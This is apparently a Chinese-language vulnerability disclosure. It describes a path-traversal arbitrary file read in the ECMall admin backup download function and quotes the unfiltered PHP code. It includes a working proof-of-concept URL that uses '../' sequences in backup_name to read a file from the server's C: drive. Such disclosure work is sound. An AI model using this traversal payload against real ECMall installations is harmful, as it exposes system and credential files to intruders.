### 简要描述:
很高兴看到shopex团队终于扛起了这个烂摊子发布了部分的ecmall补丁,可喜可贺的同时再提个醒,前台注射还没有修复完毕,在此先不表。
ecmall后台某处存在任意文件读取漏洞,可以读取服务器系统文件等。
### 详细说明:
文件admin\app\db.app.php line:198
```
function download()
{
$file = isset($_GET['file']) ? trim($_GET['file']) : '';
$backup_name = isset($_GET['backup_name']) ? trim($_GET['backup_name']) : '';
if (!$file)
{
$this->show_warning('no_such_file');
return;
}
if (!$backup_name)
{
$this->show_warning('no_backup_name');
return;
}
$sql_file = $this->backup_path . $backup_name . '/' . $file;//直接拼接就下载了,未过滤..
//print_r($sql_file);
if (file_exists($sql_file))
{
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename="'. $file. '"');
header("Content-Length: " . filesize($sql_file) ."; ");
readfile($sql_file);
}
else
{
$this->show_warning('no_such_file1');
return;
}
}
```
### 漏洞证明:
构造链接下载我C盘内的boot.bak文件:http://127.0.0.1/ecmall/admin/index.php?app=db&act=download&file=boot.bak&backup_name=../../../../../
[<img src="https://images.seebug.org/upload/201405/08234055f4b663467c3a409145114bbaf2ad3812.png" alt="a.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201405/08234055f4b663467c3a409145114bbaf2ad3812.png)
暂无评论